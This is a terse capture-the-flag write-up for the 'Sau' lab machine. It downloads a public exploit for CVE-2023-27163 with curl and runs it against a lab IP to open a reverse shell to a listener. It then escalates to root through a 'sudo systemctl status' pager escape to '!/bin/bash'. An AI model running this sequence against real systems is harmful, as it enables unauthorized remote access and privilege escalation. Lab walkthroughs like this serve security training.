Sau - CVE
CVE: https://github.com/entr0pie/CVE-2023-27163?tab=readme-ov-file
1
curl -s https://www.exploit-db.com/download/51676 > exploit.py
python3 python3 exploit.py 10.10.16.3 4444 http://10.10.11.224:55555/hgoagw
we get shell back on nc listener
Interactive shell
1
script /dev/null -c bash
Privesc enum:
1
2
sudo -l
systemctl --version
vurnerable to: https://sploitus.com/exploit?id=EDB-ID:51674
PrivEsc:
1
2
sudo /usr/bin/systemctl status trail.service
!/bin/bash # In Return Menu
This post is licensed under CC BY 4.0 by the author.